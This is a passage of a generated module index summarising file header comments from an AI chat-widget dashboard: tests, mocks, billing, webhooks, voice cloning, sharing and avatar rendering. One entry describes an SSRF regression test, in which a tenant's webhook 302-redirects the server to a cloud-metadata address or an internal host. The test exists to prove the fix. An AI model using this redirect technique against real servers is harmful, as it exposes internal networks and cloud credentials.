- **`embed-app.showcase.fixtures`** — Fixture batches for the Insights cards (Playground milestone 2) — the weekly digest's escalation spotlight, volume, cost, knowledge-gaps and sentiment cards. `KnowledgeGapItem`/`TopConversation` are the REAL types from `@/lib/agentLite`; the account-level sentiment/volume/cost shapes mirror `insights/page.tsx`'s own local aggregates (never exported from agentLite — they're computed account-side, not returned by one endpoint) so `InsightsCards.tsx` stays a faithful presentational twin. Pure data, no fetches.  
  *embed-dashboard/src/lib/fixtures/insights.ts:2*
- **`embed-app.showcase.fixtures`** — Fixture batches for the Conversations list (Playground milestone 2, NAO 2026-07-09) — typed against the REAL `ConversationItem` prop shape (`@/lib/agentLite`) so `ConvRow` renders these with zero adaptation, and a later Remotion render can import the exact same data. Pure data, no fetches. Realistic, organic values: varied names/companies/timestamps, no placeholder round numbers.  
  *embed-dashboard/src/lib/fixtures/conversations.ts:2*

### embed-app/test
- **`embed-app.test.api-routes`** — Tests for the untested Next.js API route handlers under src/app/api/**. Strategy: - vi.mock the downstream lib clients (agentLite, experiments, experimentsInsights, voices, devToken, admin) - Call the exported GET/POST/DELETE with a plain Request + optional params Promise, matching the Next 16 route-handler signature - Assert status codes, JSON bodies, and correct forwarding of arguments Coverage priorities (per #738 brief): 1. Auth (401 without a token, 403 on non-admin) 2. Input validation (400 / 415 on bad inputs) 3. Happy path — correct downstream call + status 4. Error mapping — AgentLiteApiError / TenantsApiError → status code 5. Service-not-configured → 503 Skipped + why: - insights/sentiment, intent, revenue, top-conversation, knowledge-gaps, getXxx(widgetId, days) → same error classes → same mapping. - vrm-upload, kb-upload: multipart FormData + fetch-to-tenants; the auth, missing-id, and 401/400 paths are meaningful but the happy-path would require a full multipart stub — left for a dedicated upload-routes test when vitest File API stabilises (Node 22 built-in File works in production code; the test environment has inconsistent behaviour with FormData.get → instanceof File). Auth + shape validations are already covered by the integration smoke suite. - avatars/thumbnail: writes to the filesystem and requires isPlatformAdmin; auth/403 path is covered here; full WebP-write happy path needs an fs mock or a temp-dir fixture (deferred to a dedicated file-write test).  
  *embed-dashboard/src/test/apiRoutes.test.ts:2*
- **`embed-app.test.billing-actions`** — Unit tests for the topupAction server action (Task 2 — top-up wiring). Coverage: - Validation (the shared parseTopupEuros rule, mirrored from tenants): empty / fractional / below-min / above-max all return ok=false. - Boundary values 5 € and 1000 € pass validation and reach startTopup. - Happy path: cents + idempotency key are forwarded to startTopup and the browser is redirected to the returned Mollie checkout_url. - sanitiseIdempotencyKey: accepts the documented contract, drops the rest. Mocks: - `@/lib/billing.startTopup` → vi.fn (no real fetch / tenant round-trip). - `next/navigation.redirect` → throws NEXT_REDIRECT:<url> (see mock); the action calls it OUTSIDE its try/catch, so the throw propagates and is asserted via .rejects. - `next-intl` → falls back to returning the key when no provider is mounted, so validation messages are compared by DISTINCTNESS across reasons rather than exact translated text (the i18n matrix covers text).  
  *embed-dashboard/src/test/billingActions.test.ts:2*
- **`embed-app.test.component.field`** — Unit tests for the shared <Field> primitive: label/required wiring, the live character counter in both controlled and uncontrolled forms, and the accessibility contract (aria-invalid + aria-describedby + role="alert").  
  *embed-dashboard/src/test/Field.test.tsx:2*
- **`embed-app.test.config`** — Vitest configuration for the openalice-embed-app Next.js dashboard. Environment: jsdom (React component rendering via @testing-library/react). React plugin: @vitejs/plugin-react (JSX transform, fast-refresh HMR in watch mode — no effect on `vitest run`). Path alias: @/ → src/ mirrors the tsconfig `paths` entry so test imports resolve the same way as production imports. Server-only stubs: Next.js modules that throw at import time in non-Next environments are aliased to lightweight stub files so pure-logic tests can import server-only lib modules without the full Next runtime.  
  *embed-dashboard/vitest.config.ts:2*
- **`embed-app.test.legal-routes`** — Tests for the /terms, /privacy, /impressum legal redirect routes. Strategy: - Call each route's GET() (no request args — the handlers take none). - Assert HTTP 307 (Temporary Redirect, method-preserving) and the Location header points at `${LEGAL_BASE_URL}/<slug>`. - Cover the env-configured base, trailing-slash trimming, and the fallback when the env var is unset (so the routes always resolve). `next/server` is aliased to the test mock (src/test/__mocks__/next-server.ts) by vitest.config.ts, so NextResponse.redirect is a real Response we can inspect for status + the Location header.  
  *embed-dashboard/src/test/legalRoutes.test.ts:2*
- **`embed-app.test.logout-route`** — P1a regression (2026-07-10): `/logout` must redirect to the PUBLIC-facing host (honoring Traefik's `x-forwarded-host`/`x-forwarded-proto`), never to `req.url`'s bind address — which, behind Traefik, is the app's own internal listen address (e.g. `0.0.0.0:3212`), unreachable from the browser. "Sign out" was observed bouncing to `http://0.0.0.0:3212/login` in production before this fix.  
  *embed-dashboard/src/test/logoutRoute.test.ts:2*
- **`embed-app.test.mocks`** — Stub for the `server-only` sentinel package. In the real Next.js build this package throws a build-time error when accidentally bundled for the browser. In vitest (jsdom) we simply export nothing so server-only lib modules can be imported without a Next runtime. Intentionally empty — no-op sentinel stub for vitest.  
  *embed-dashboard/src/test/__mocks__/server-only.ts:2*
- **`embed-app.test.mocks`** — Minimal stub for `next/server` — provides NextResponse for API route tests. The real NextResponse extends the Web API Response with Next-specific utilities (json(), redirect(), rewrite()); we replicate the `json()` static method used by every route handler in this project.  
  *embed-dashboard/src/test/__mocks__/next-server.ts:2*
- **`embed-app.test.mocks`** — Minimal stub for `next/navigation` used by server actions (loginAction / signupAction import { redirect }). In tests, redirect() is a vi.fn() so assertions can verify it was called with the expected destination. The throw-on-call behaviour of the real `redirect` is NOT replicated here — the server actions explicitly guard `if (!state.error) { redirect(...) }` so we only need to record the call, not interrupt execution. useRouter() returns a stable object with every method a component might call (push/replace/refresh/back/forward/prefetch) as a no-op vi.fn() — added 2026-07-13 (nav-shell audit) when FlagsView/AccountView/WebhooksView moved from `window.location.reload()` to `router.refresh()` after a throw as an unhandled rejection in every test that exercises those mutation paths without its own local `next/navigation` mock. A test that needs to ASSERT a specific call (e.g. LocalSwitcher.test.tsx watching `refresh()`) still local-mocks `next/navigation` itself — that `vi.mock` call takes precedence over this default and is unaffected by it.  
  *embed-dashboard/src/test/__mocks__/next-navigation.ts:2*
- **`embed-app.test.mocks`** — Minimal stub for `next/headers` used by session.ts. The real `cookies()` is an async function backed by Next's AsyncLocalStorage; here we provide a simple in-memory jar so tests can call setSessionCookie / getSessionToken without a Next runtime. The jar is reset by calling resetCookieJar() in beforeEach hooks.  
  *embed-dashboard/src/test/__mocks__/next-headers.ts:2*
- **`embed-app.test.page-meta`** — Light tests for the per-page title helper (item 1). The helper composes `{label} · OpenAlice Embed` from an i18n key; we exercise the THREE label sources used across the 33 titled server pages — an existing CRUMB key, a new META.* key, and a widget EYEBROW key — resolved against the real English catalog (seeded into the next-intl mock via the intl-render provider). Not exhaustive over all 33 routes — the helper is the single composition point, so covering its three input shapes covers the pattern.  
  *embed-dashboard/src/test/pageMeta.test.tsx:2*
- **`embed-app.test.poster-route`** — Tests for GET /api/poster/[slug] (S2 M3) — the authed poster-PDF route. The chromium boundary (@/lib/posterRenderer) is MOCKED — these tests verify auth mapping, the tenant-scoped slug resolution (ReBAC via the /me path), input validation, error mapping and the response envelope; the HTML/copy layer has its own suite (posterTemplate.test.ts) and the real print path is proven live (pdfinfo + screenshot in the M3 proof).  
  *embed-dashboard/src/test/posterRoute.test.ts:2*
- **`embed-app.test.poster-template`** — Tests for the QR poster template (S2 M3, Р4) — the pure HTML/copy layer. The copy assertions are the LAW of this suite: the 4 headline templates, the subhead and the footer micro are compared CHARACTER-FOR-CHARACTER against QR-MODE-COPY-PACK-2026-07-11 §1 (openalice-atlas marketing). A drifted word is a broken test — by design.  
  *embed-dashboard/src/test/posterTemplate.test.ts:2*
- **`embed-app.test.setup`** — Global test setup file — runs once per test suite before any tests. Registers @testing-library/jest-dom custom matchers (toBeInTheDocument, toHaveTextContent, etc.) on the vitest `expect` object so every test file can use them without a local import.  
  *embed-dashboard/src/test/setup.ts:2*
- **`embed-app.test.topup-form`** — Behavioural tests for the TopupForm client component — specifically the idempotency-key rotation rule (reviewer N1): the key is re-minted when the AMOUNT changes (each distinct amount is its own payment intent), but a retry of the SAME amount reuses the key (double-charge protection exactly where it's needed). Strategy: render the form (wrapped in the i18n provider via intl-render), drive the amount input with fireEvent, and read the rendered hidden `idempotency_key` field. We assert the FORM behaviour (the observable hidden value), not the hook directly — that's the contract the backend depends on. Also covers the billing-disabled graceful-degrade branch.  
  *embed-dashboard/src/test/TopupForm.test.tsx:2*

### embed-app/testdrive
- **`embed-app.testdrive.client`** — Test-drive (§test-drive-preview): mounts the REAL widget against this widget's hidden preview twin — whose live config IS the draft — so the owner chats with their unpublished changes before Publish. How it works: previewSyncAction rebuilds the twin (fresh, draft-merged) and returns its public_id; we load the embed SDK once and mount the widget inline against that id via the normal public pipeline (agent-lite untouched). "Restart preview" re-syncs — a brand-new twin, so memory resets AND the latest draft is pulled in, in one click.  
  *embed-dashboard/src/app/(dash)/widgets/testdrive/TestDriveClient.tsx:2*

### embed-app/tooling
- **`embed-app.tooling.lint-reuse`** — Tests for scripts/lint-reuse.mjs — the embed port of the platform's reuse gate (#90) PLUS the baseline mechanism that makes it enforceable on a repo with a pre-existing backlog (~119 raw elements / 735 inline styles at port time): the gate fails only on NEW findings (a finding whose stable key isn't in the baseline, or whose per-key count exceeds it) and reports ratchet-down opportunities when baselined findings disappear. Line numbers are deliberately NOT part of the key — edits above a finding must not churn the baseline. The ported rule engine (classifyStyleValue / findStyleLiteralFindings / findRawElementFindings / loadUiExportNames) is covered upstream in openalice-platform src/test/LintReuse.test.ts; here we smoke the port and fully test the NEW baseline-compare logic.  
  *embed-dashboard/src/test/LintReuse.test.ts:2*

### embed-app/transcript-email
- **`embed-app.transcript-email.editor`** — Client editor for a widget's transcript-email (Brevo) config (§transcript- email / migration 0031). Persists the transcript_email JSONB blob {enabled, to_address, redact_pii} via saveTranscriptEmailAction (PATCH /me/widgets/{id} draft). When a conversation ends, agent-lite OPTIONALLY emails the full transcript to `to_address` via the Brevo transactional API. Activation is gated BOTH on the per-widget enable flag here AND on a server-side BREVO_API_KEY env var — with no key, enabling here is a safe no-op (agent-lite never sends), so the feature ships dark. The editor surfaces that caveat in its copy. PII-redaction toggle (§Slice-4 PII toggle, branch u-slice4-pii-toggle): `redact_pii` checkbox — when checked, agent-lite runs each message through the regex-based PII redactor (emails, phone numbers, long digit runs) before building the HTML email body. Default unchecked (false) so lead-capture widgets keep the visitor's contact details in the inbox. Stored as `transcript_email.redact_pii` in the widget JSONB; serialises with serde `#[serde(default)]` so old rows without the key read as false. v1 (pending NAO review): a single enable toggle + one recipient address + redact_pii opt-in. A future cc list / custom subject / "only on escalation" trigger is a v2 concern — the stored JSONB blob extends without migration. Loading / saved / error state mirrors the BusinessHoursEditor pattern; reuses the hours CSS module so no new stylesheet is needed.  
  *embed-dashboard/src/app/(dash)/widgets/email/TranscriptEmailEditor.tsx:4*
- **`embed-app.transcript-email.editor.test`** — Tests for the TranscriptEmailEditor component (§transcript-email / migration 0031). Covers the render + interaction surface that drives the transcript_email JSONB blob {enabled, to_address}: - Renders the enable toggle + recipient email field. - Seeds the form from an existing transcript_email config (enabled flag + to_address). - An unconfigured widget (transcript_email null) renders disabled + empty. - Typing into the recipient field + toggling enable updates the inputs. The saveTranscriptEmailAction server action is mocked via vi.mock so no real network call happens (mirrors BusinessHoursEditor.test.tsx).  
  *embed-dashboard/src/test/TranscriptEmailEditor.test.tsx:2*

### embed-app/transparency
- **`embed-app.transparency.classes`** — Phase-3 conversion №11 (2026-07-17): trained.module.css (300L) deleted — structural classes shared by the transparency-log page and its skeleton. The old CSS ::before pseudo-elements (timeline gradient line, entry dots, zero-badge dot) are real spans now; the .entry--{actor} modifier system became per-actor utility maps in page.tsx. Dead .delta* chips died with the stylesheet.  
  *embed-dashboard/src/app/(dash)/widgets/trained-by-us/trained.classes.ts:2*
- **`embed-app.transparency.export-csv`** — Tests for ExportCsvButton. - Renders a button labelled "Export CSV". - Is DISABLED and shows "No entries to export yet" title when items=[]. - Is ENABLED with "Download the audit log as CSV" title when items is non-empty. - Clicking the button with items creates a Blob, a link, and triggers a download (URL.createObjectURL + click + revokeObjectURL). The KnowledgeEditor coverage that used to live in this file retired with the editor itself (KB ULTRAWIKI M2) — the wiki's status badges, byte and relative-time formatting are covered in KnowledgeWiki.test.tsx and kbSources.test.ts.  
  *embed-dashboard/src/test/ExportCsvButton.test.tsx:2*
- **`embed-app.transparency.export-csv`** — Real client-side CSV export of the audit timeline. Takes the already-fetched audit items (server-rendered into the page) and downloads them as a CSV via a Blob — no extra network call, no backend dependency. Disabled with an honest title when there's nothing to export.  
  *embed-dashboard/src/app/(dash)/widgets/trained-by-us/ExportCsvButton.tsx:4*

### embed-app/usage
- **`embed-app.usage.bars`** — Component + pure-logic tests for the pricing-v2 usage bars: - threshold mapping (ok / warn@80% ember / over@100% vermilion / unlimited / not-included), - the rendered states: percentage labels, data-state attributes, the "Upgrade" CTA appearing exactly at 100% (and for not-included plans) and linking to the honest team-managed billing page, - buildUsageMetrics seconds→minutes conversion + null (unlimited) passthrough from the billing payload.  
  *embed-dashboard/src/test/UsageBars.test.tsx:2*
- **`embed-app.usage.bars`** — Pricing-v2 usage meters — pure presentational bars for the /usage page (and reusable anywhere billing usage is shown). One bar per metric (conversations / voice minutes / KB pages …) with: - used vs cap labels + percentage, - EMBER fill at ≥80% (heads-up), - VERMILION fill at 100% with an inline "Upgrade" CTA linking to the billing page (plans are managed by the team for now — the CTA is honest, no fake checkout), - `cap: null` renders as "Unlimited" (no percentage, no warning), - `cap: 0` renders as "Not included on your plan" (Starter voice) with the same upgrade CTA. DELIBERATELY dependency-free and server-component-safe: props are plain data (no imports from server-only lib modules — the known `next build` gotcha), no hooks, no client interactivity. State thresholds are exported for the component test.  
  *embed-dashboard/src/components/UsageBars.tsx:2*
- **`embed-app.usage.metrics`** — Pure mapping from the tenants billing payload to the three /usage display bars (conversations / voice minutes / KB pages). Separated from page.tsx because App-Router pages may not export helpers (next build type-checks page exports), and so the unit test can import it without the Next runtime. Type-only import from the server-only billing lib — erased at compile time, so this module stays client/test-safe.  
  *embed-dashboard/src/app/(dash)/usage/metrics.ts:2*

### embed-app/voice
- **`embed-app.voice.actions`** — Server actions for the Voice library editor. These run on the server so the tenant bearer token (devToken.ts) — and the recorded voice sample bytes — stay out of the browser bundle. They proxy to openalice-tenants /me/voices, which is the only thing that holds the MISTRAL_API_KEY and talks to the Mistral Voices API (api.mistral.ai — EU-sovereign, direct, NOT OpenRouter). - cloneVoiceAction:   POST /me/voices (base64 sample + metadata + GDPR consent). - assignVoiceAction:  PATCH /me/widgets/{id} (voice_id + tts_provider pin). - renameVoiceAction:  PATCH /me/voices/{id} (name/slug/tags only). - deleteVoiceAction:  DELETE /me/voices/{id} (also NULLs widgets.voice_id server-side). Per the productization decision there is NO transient clone-and-preview: the UX creates the voice first, then plays its sample via the GET /me/voices/{id}/sample proxy route. Less error-prone, no Mistral state to clean up on a partial failure.  
  *embed-dashboard/src/app/(dash)/widgets/voice/actions.ts:4*
- **`embed-app.voice.classes`** — Phase-3 conversion №5 (2026-07-17): voice.module.css (212L) deleted — structural classes shared by VoiceEditor and the route skeleton, plus the repeated small-button/err-text groups. All theme utilities.  
  *embed-dashboard/src/app/(dash)/widgets/voice/voice.classes.ts:2*
- **`embed-app.voice.editor`** — Client editor for a widget's voice library, backed by real openalice-tenants data (/me/voices + /me/widgets/{id}). Three sections: 1. Assign — pick which cloned voice this widget speaks with (a <select> backed by the tenant voice library). Selecting a voice pins tts_provider = 'mistral-native' (EU-sovereign) server-side. 2. Clone — record in-browser (MediaRecorder w/ runtime codec detection + live waveform via Web Audio AnalyserNode) OR upload an audio file, with an explicit GDPR Art. 9 biometric-consent checkbox (naming Mistral SAS as the EU sub-processor) + a metadata form, then submit. 3. Library — list cloned voices with play-sample / rename / delete. The recorded/uploaded sample is base64-encoded client-side and posted to the cloneVoiceAction server action; the raw audio + the MISTRAL_API_KEY never touch the browser bundle. Preview is commit-first: a voice is created, then its sample is playable via GET /api/voice-sample — no transient clone.  
  *embed-dashboard/src/app/(dash)/widgets/voice/VoiceEditor.tsx:4*

### embed-app/webhooks
- **`embed-app.webhooks.actions`** — Server actions for the per-widget Webhooks screen. These run on the server so the tenant bearer token (devToken.ts) stays out of the browser bundle. They forward to openalice-tenants' JWT-gated /me/widgets/{id}/webhooks surface and revalidate the page so the server-rendered list reflects the mutation on the next render. - createWebhookAction:  POST   /me/widgets/{id}/webhooks   (url + secret + events). - updateWebhookAction:  PATCH  /me/widgets/{id}/webhooks/{wh_id} (url/events/enabled). - deleteWebhookAction:  DELETE /me/widgets/{id}/webhooks/{wh_id}. - sendTestWebhookAction POST synthetic test event directly to the endpoint URL (re-validates via assertSafeWebhookUrl + short timeout) so developers can verify reachability before a real event fires. Returns {ok, status?, error?}. The url / events validation is authoritative on the tenants side — these actions only do light shape coercion (trim, dedupe, drop unknown events) before forwarding.  
  *embed-dashboard/src/app/(dash)/widgets/webhooks/actions.ts:4*
- **`embed-app.webhooks.actions.ssrf`** — Exploit test for P1 #5 — SSRF via HTTP redirect in the webhook test-send action (sendTestWebhookAction). assertSafeWebhookUrl (src/lib/safeUrl.ts) is a STATIC hostname-string check on the registered endpoint URL only — it cannot see where that endpoint later redirects a live request. A tenant registers a public https:// webhook they control (passes the static check) that responds with a 302 to a cloud-metadata / internal target (http://169.254.169.254/... or an internal docker host:port). If the dashboard server's fetch auto-follows that redirect (the default `redirect: "follow"` behavior), the server itself issues the internal request and relays the status/body back to the browser — an internal network-scan oracle. Fix: the test-send fetch sets `redirect: "manual"` so the underlying HTTP client (Node's fetch/undici) never auto-connects to the Location target; a 3xx is surfaced to the caller as-is (status reported, not followed). Verified against real Node http servers (not just this mock) during directly (status readable, no second connection); without it, the second request fires transparently inside the single fetch() call.  
  *embed-dashboard/src/test/webhooksActionsSsrf.test.ts:2*
- **`embed-app.webhooks.events-reference`** — Pure reference view — the available webhook event types (defs passed in; the add-form shares the same defs). Split from WebhooksView (viewlogic program, audit 2026-07-04).  
  *embed-dashboard/src/app/(dash)/widgets/webhooks/EventsReference.tsx:2*
- **`embed-app.webhooks.sample-payload`** — The sample-payload reference card with its own copy-to-clipboard state — self-contained view+micro-logic. Split from WebhooksView (viewlogic program, audit 2026-07-04). Extended with a curl replay card (design-jury webhooks lift): one paste-ready command that POSTs the sample payload at the developer's endpoint, so they can smoke-test their receiver before the first real event ever fires.  
  *embed-dashboard/src/app/(dash)/widgets/webhooks/SamplePayload.tsx:2*
- **`embed-app.webhooks.view`** — Client view for the per-widget Webhooks screen. Renders: - the tab strip + page header, - an "Add endpoint" form (https url + event checkboxes + signing secret), - the list of existing webhooks with an enable/disable toggle + delete + "Send test" probe that calls sendTestWebhookAction, - the DLQ (dead-letter) list with relative timestamps + last_error priority, - secret-rotation guidance note + pre-fill shortcut, - the (real) event reference + sample-payload + signature documentation. Mutations go through the server actions in ./actions.ts so the tenant token never enters the browser bundle; on success router.refresh() re-runs the server component's listWebhooks() (the authoritative source) in place — no full document reload, no shell remount.  
  *embed-dashboard/src/app/(dash)/widgets/webhooks/WebhooksView.tsx:4*
- **`embed-app.webhooks.view`** — Tests for WebhooksView component. Key behaviors: Tab strip (shared widgetTabs helper): - Renders the canonical tab strip via widgetTabs(). - "Webhooks" tab is rendered as the active tab (aria-current="page", no href). - Other tabs carry the widget ?id= query param in their hrefs. Empty state: - Renders "No webhook endpoints yet" empty state when webhooks=[]. Existing endpoints list: - Renders each webhook URL in the list. - Renders an enable/disable toggle for each webhook. - An enabled webhook has its toggle checked; disabled has it unchecked. - Renders a Delete button for each webhook. - Renders a "Send test" button for each webhook. Add-endpoint form validation (canSubmit logic): - "Add endpoint" button is disabled when url is empty. - "Add endpoint" button is disabled when url doesn't start with https://. - "Add endpoint" button is disabled when secret is empty. - "Add endpoint" button is disabled when all events are unchecked. - "Add endpoint" button is ENABLED when url starts with https://, secret is non-empty, and at least one event is checked. Event checkboxes: - All 4 event checkboxes are checked by default. - Unchecking an event de-checks it. Error banner: - Renders an error alert when initialLoadError is provided. Action wire-up: - Submitting the form calls createWebhookAction with the correct url, secret, and events. [P1] Send test event: - Clicking "Send test" calls sendTestWebhookAction with widgetId + webhookId. - On success (ok + status 200) shows the success label inline. - On failure (ok:false + status 500) shows the error status label inline. - On network error (ok:false + error string) shows the error string inline. [P2] DLQ relative timestamps: - Renders a <time> element with the absolute datetime as the dateTime attribute. - Shows last_error text when present (prioritised over generic "no response"). - Shows "no response" when both last_status and last_error are null. [P3] Secret rotation note + pre-fill: - Renders a rotation note for each webhook. - Clicking "Pre-fill form to recreate" fills the URL field with the webhook's URL. NOTE: The server actions in ./actions.ts are mocked. window.location.reload is stubbed to prevent jsdom navigation errors.  
  *embed-dashboard/src/test/WebhooksView.test.tsx:2*

### embed-app/widget-analytics
- **`embed-app.widget-analytics.classes`** — Phase-3 conversion №6 (2026-07-17): analytics.module.css (221L) deleted — structural classes shared by AnalyticsView and the route skeleton, all theme utilities. Notes preserved from the stylesheet: panels/cards carry NO bottom margin here (the old `.midGrid .panel { margin-bottom: 0 }` override becomes explicit mb-6 only where a panel stands alone); the old 560px toolRow rule was dead (the later 640px mobile-stacking block always won) and is not carried over.  
  *embed-dashboard/src/app/(dash)/widgets/analytics/analytics.classes.ts:2*
- **`embed-app.widget-analytics.view`** — Client analytics view for a single widget. Fetches live metrics from the server-side /api/analytics proxy (→ agent-lite /internal/analytics/summary) and renders headline KPIs, a lightweight inline-SVG by-day chart (with an accessible table fallback), top tool usage, and the escalation count. A 7/30-day selector re-fetches. Loading / empty / error states are all handled explicitly. No chart library — the trend is a hand-built SVG.  
  *embed-dashboard/src/app/(dash)/widgets/analytics/AnalyticsView.tsx:4*

### embed-app/widgets
- **`embed-app.widgets.actions`** — Tests for the Widgets dashboard server actions. Key behaviors under test: publishWidgetAction (§draft-publish GDPR gate): - Missing privacy_policy_url → blocked with the Art. 13 privacy message - Missing terms_url (privacy set) → blocked with the Art. 13 terms message - Both legal URLs set → publishWidget is called and the action succeeds - The gate reads the draft-MERGED config (getWidget), so URLs staged in an unpublished draft already satisfy it saveWidgetAction (US-provider consent toggles): - Checked consent boxes patch as explicit `true` - Unchecked boxes (absent from FormData) coerce to explicit `false` — all three gates (STT / TTS / LLMs) behave identically saveModeAction (proactive_triggers hidden-input deserialization): - A valid proactive_triggers_json patches a SANITIZED rule list (thresholds clamped to the contract bounds, malformed rules dropped) - "[]" is an explicit clear (patches an empty array) - Malformed JSON or an absent field skips proactive_triggers entirely without blocking the rest of the save NOTE: actions.ts imports the full @/lib/tenants client. We keep the real module (constants + types) via importOriginal and stub only the network verbs, so no real HTTP happens. next/cache is mocked for revalidatePath.  
  *embed-dashboard/src/test/widgetsActions.test.ts:2*
- **`embed-app.widgets.actions`** — Server actions for the Widgets dashboard. These run on the server so the tenant bearer token (devToken.ts) stays out of the browser bundle. - createWidgetAction:     POST /me/widgets, then redirect to its edit screen. - saveWidgetAction:       PATCH /me/widgets/{id} (persona + mode + Memory block + dial_*). - saveModeAction:         PATCH /me/widgets/{id} (default_mode + call_mode + cta_text + conversion_goals + proactive_triggers). - saveAppearanceAction:   PATCH /me/widgets/{id} (appearance.* incl. privacy_policy_url + terms_url + vrm_id + custom_css). saveKbUrlAction retired with KB ULTRAWIKI M2: the knowledge wiki adds url sources through POST /me/widgets/{id}/kb/sources (see /api/kb/sources) — brand_kb_url is legacy input only (M1 seeded it as a url source).  
  *embed-dashboard/src/app/(dash)/widgets/actions.ts:4*
- **`embed-app.widgets.actions`** — Tests for the saveVoiceAction server action (per-widget AI-voice picker). Key behaviors under test: - PATCHes BOTH tts_provider + voice_id via updateWidget (live PATCH /me/widgets/{id}) — the catalog pairs them, so neither is sent alone. - The empty voice id selects the recommended default (sends empty strings). - A missing widget id is rejected before any network call. - A server rejection (e.g. the tenants 400 plan/region/catalog gate) is surfaced as { ok: false, error } rather than thrown. We keep the real @/lib/tenants module (constants + types) via importOriginal and stub only updateWidget, so no real HTTP happens. next/cache is mocked. Mirrors modelActions.test.ts exactly.  
  *embed-dashboard/src/test/voiceActions.test.ts:2*
- **`embed-app.widgets.actions`** — Tests for the saveModelAction server action (per-widget AI-model picker). Key behaviors under test: - PATCHes BOTH llm_model + llm_provider via updateWidget (live PATCH /me/widgets/{id}) — the catalog pairs them, so neither is sent alone. - The empty model id selects the recommended default (sends empty strings). - A missing widget id is rejected before any network call. - A server rejection (e.g. the tenants 400 plan/region/catalog gate) is surfaced as { ok: false, error } rather than thrown. We keep the real @/lib/tenants module (constants + types) via importOriginal and stub only updateWidget, so no real HTTP happens. next/cache is mocked.  
  *embed-dashboard/src/test/modelActions.test.ts:2*
- **`embed-app.widgets.share.actions`** — Server actions for the per-widget Share modal (#772). All calls run server-side so the tenant bearer token (devToken.ts) never reaches the browser bundle. They forward to openalice-tenants' JWT-gated /me/widgets/{id} sharing surface and revalidate the per-widget page so a subsequent server render reflects the mutation. - shareWidgetAction:  POST   /me/widgets/{id}/share            (admin) - listSharesAction:   GET    /me/widgets/{id}/shares           (read on open) - revokeShareAction:  DELETE /me/widgets/{id}/invites/{invite_id} - revokeGrantAction:  DELETE /me/widgets/{id}/grants/{grant_id} Permission enforcement (admin-only, owner-of-widget) is authoritative on the tenants backend. These actions only do light shape validation (email format + role membership) before forwarding — the backend is the source of truth. NOTE: the share API never returns the invite token, so an "invited" result surfaces a "we emailed them" state — there is NO accept-link to copy.  
  *embed-dashboard/src/app/(dash)/widgets/share/actions.ts:4*
- **`embed-app.widgets.share.view`** — Per-widget Share entry point (#772): a "Share" button that opens an accessible modal for granting teammates viewer/editor access to a SINGLE widget. Mirrors the settings/team UI (RoleBadge, oa-btn classes, inline revoke-confirm, styles-module patterns) as a sibling surface. The modal: - Add form: email input + viewer/editor select + Share button. On success shows a granted ("now has access") OR invited ("we emailed them") banner — the API never returns the invite token, so there is no accept-link to copy. - Unified list: active grants (avatar initial, email or user_id fallback, RoleBadge, revoke ✕ with inline confirm) and pending invites (email, RoleBadge, a "Pending" chip, revoke ✕). Loading + empty + error states. Loading: the list is fetched on open via listSharesAction (a server action, so the bearer token stays server-side) and re-fetched after each mutation — the modal manages its own state rather than reloading the page. A11y: WCAG 2.1.2 focus trap (useFocusTrap), role="dialog" + aria-modal, Escape + backdrop-click to close.  
  *embed-dashboard/src/app/(dash)/widgets/share/WidgetShare.tsx:4*
- **`embed-app.widgets.share.view`** — Tests for the per-widget Share modal (#772). Launcher + modal: - Renders the "Share" launcher button; modal is closed initially. - Clicking the launcher opens the dialog and loads the share list. - Renders existing grants (identity + role) and pending invites. - Renders the empty state when there are no grants/invites. - Surfaces a load-error alert when listSharesAction fails. Add form: - "Share" submit disabled until the email looks valid. - A "granted" result shows the "now has access" banner. - An "invited" result shows the "we emailed them" banner. - Calls shareWidgetAction with the trimmed email + selected role. Revoke: - Revoking a grant confirms inline then calls revokeGrantAction. NOTE: server actions are fully mocked.  
  *embed-dashboard/src/test/WidgetShare.test.tsx:2*

### embed/avatar
- **`embed.avatar`** — Mixamo → VRM animation retargeting (ported verbatim from openalice-persona's proven AnimationLoader). This is the only place FBXLoader is referenced; it's lazy-imported so the FBX parser only enters the avatar chunk's load path when a clip is actually fetched. Algorithm: the official pixiv/three-vrm Mixamo retargeting approach Key steps (kept intact from persona): - traverse the FBX skeleton to read each bone's rest-pose world quaternion - remap quaternion keyframes from Mixamo rest space → VRM normalized space (parentRestWorld * animQuat * restInverse) - VRM 0.x axis negation (X,Z flipped for the +Z-forward convention) - scale the hips position track by the VRM/Mixamo hips-height ratio  
  *embed-widget/src/avatar/mixamo.ts:2*
- **`embed.avatar`** — VrmRender — lazy chunk that loads a VRM model and animates it in a canvas. This module is the ONLY place Three.js and three-vrm are imported. Because avatar/loader.ts reaches it via dynamic import(), Vite bundles Three.js + three-vrm exclusively into this chunk — the initial alice-embed.js never sees them (keeps the text-only embed tiny). Public surface (everything the orchestrator needs): mountVrmRender(container, vrmUrl) → Promise<VrmHandle> • resolves with a handle once the VRM is in the scene + rendering • rejects if WebGL / the VRM file is unavailable (caller auto-degrades) VrmHandle: • setState(state)      — drive a high-level reaction (idle/listening/…) • setMouth(amount)     — 0..1 lipsync drive for the "aa" viseme (TTS) • resize()             — re-fit the canvas to its container • dispose()            — stop the rAF loop + free all GPU resources Body animation is driven by REAL Mixamo clips retargeted to the VRM skeleton (mixamo.ts). On mount we create a THREE.AnimationMixer over vrm.scene, fetch + retarget a curated clip set in the background, and crossfade between them per setState(). Blink + lipsync ("aa" viseme) stay procedural and layer on top of the clips (expressions are independent of bones). If the clips fail to load we fall back to the previous fully-procedural idle (breathing sway + arm rest pose + one-shot wave) so a clip 404 degrades to today's behaviour, never a T-pose. three-vrm spring bones handle hair/cloth via vrm.update(delta).  
  *embed-widget/src/avatar/vrm-render.ts:2*
- **`embed.avatar`** — widget/avatar — VRM avatar lifecycle for the Widget orchestrator: lazy mount, graceful degradation to the face image, the pending-state hand-off while the model loads, the ready-gate, and portrait-dock framing. Split out of widget.ts (god-file split #649). Each function is moved VERBATIM from the corresponding Widget method — the only change is `this.` → `self.`. ZERO behaviour change.  
  *embed-widget/src/widget/avatar.ts:2*
- **`embed.avatar`** — hasWebGL — a tiny, dependency-free WebGL feature probe that lives in the INITIAL bundle (no Three.js import). The VRM renderer also feature-detects WebGL, but it does so INSIDE the lazy Three.js chunk — so checking there means we'd already have paid ~600 KB of download before discovering the device can't run it. This probe lets the orchestrator branch BEFORE the dynamic import: WebGL present → 3D VRM, absent → 2.5D sprite. A no-WebGL phone therefore never fetches Three.js at all. jsdom has no WebGL context, so this returns false in tests (the sprite/face fallback path is exercised there).  
  *embed-widget/src/avatar/webgl.ts:2*
